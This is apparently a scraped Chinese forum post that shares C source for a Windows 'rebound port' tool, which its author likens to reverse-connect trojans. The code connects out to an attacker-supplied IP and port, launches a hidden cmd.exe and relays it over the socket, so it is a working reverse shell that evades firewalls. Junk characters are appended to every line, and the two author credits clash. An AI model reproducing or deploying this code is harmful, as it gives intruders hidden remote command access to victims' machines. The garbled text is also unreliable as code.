这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 w,}}mC)\*
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/* ============================== f6|3|
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Rebound port in Windows NT iU%Gvf^?'5
By wind,2006/7 HENCQ_Wra
===============================*/ )&R;!#;5
#include ['R=@.
#include hLm9"N'Pf
B. P64"w
#pragma comment(lib,"wsock32.lib") "BFW&<1
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void OutputShell(); e/Q[%y.X
SOCKET sClient; 5\4>H6
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; o~4n8
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void main(int argc,char **argv) ~-:CN(U
{ &PgdCijGq;
WSADATA stWsaData; v$tS2N2
int nRet; cF(9[8c{
SOCKADDR_IN stSaiClient,stSaiServer; 4tuEC-oh
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if(argc != 3) E?9_i
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{ 1MahFeQ[
printf("Useage:\n\rRebound DestIP DestPort\n"); 8OFrW.>[
return; ZcWl{e4
} <M&]*|q>g%
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WSAStartup(MAKEWORD(2,2),&stWsaData); epG;=\f}m`
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =oh6;Ojt
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stSaiClient.sin_family = AF_INET; $ 1dI
stSaiClient.sin_port = htons(0); |Q I3H]T7
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); +;!w;t
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /uyQ>Y*-\Y
{ 4Dd9cG,lN
printf("Bind Socket Failed!\n"); RsOK5XnQn
return; "LxJPt\
} @2$8o]et
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stSaiServer.sin_family = AF_INET; @<6-uk3S
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); zp9 ?Ia
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); o>*{5>#k'
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3+$O#>
{ 8/F2V?iT
printf("Connect Error!"); R|M:6]}
return; nWl0R=
} $U0(%lIU
OutputShell(); uf>w* [m5
} @'rO=(-b
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void OutputShell() ;C{_T:LS
{ '9[_w$~(
char szBuff[1024]; y]+A7|
SECURITY_ATTRIBUTES stSecurityAttributes; /vV 0$vg
OSVERSIONINFO stOsversionInfo; .Lp-'!i
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; e=R}
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STARTUPINFO stStartupInfo; .cabw+&7
char *szShell; <5#e.w
PROCESS_INFORMATION stProcessInformation; 8&;dR
unsigned long lBytesRead; ri^yal<'
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); G`P+J
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); WE"'3u^k
stSecurityAttributes.lpSecurityDescriptor = 0; ie,{C
stSecurityAttributes.bInheritHandle = TRUE; 950b9Vn&
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); M@K[i*e
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5a~1RL
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \wCL)t.cX
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ii8jY_
stStartupInfo.wShowWindow = SW_HIDE; P}I*SV0
stStartupInfo.hStdInput = hReadPipe; \'KzSkC8
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #n7{ 3)
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GetVersionEx(&stOsversionInfo); X<{m;T `
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switch(stOsversionInfo.dwPlatformId) $d=lDN
{ DNy)\+[
case 1: ;@
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szShell = "command.com";
:+=*
break; IviWS84
default: Pm_=
szShell = "cmd.exe"; 21[F%,{.),
break; *+z({S_Nv
} ;1 fM L,8
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 88K*d8m
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send(sClient,szMsg,77,0); 3:(`#YY
while(1) rij[ZrJ
{ 4Uiqi{}
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]VME`]t`
if(lBytesRead) 1}pR')YL[
{ fjFy$NX&>
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =jN]ckn
send(sClient,szBuff,lBytesRead,0); WToAT;d2h
} ]*|K8&jxl
else ;'p'8lts
{ 7`}z7nk
lBytesRead=recv(sClient,szBuff,1024,0); P33E\O
if(lBytesRead<=0) break; kYAvzuGRb
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^bG!k]U!2
} +9X[gef8
} )3AT=b
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return; 9& j]
}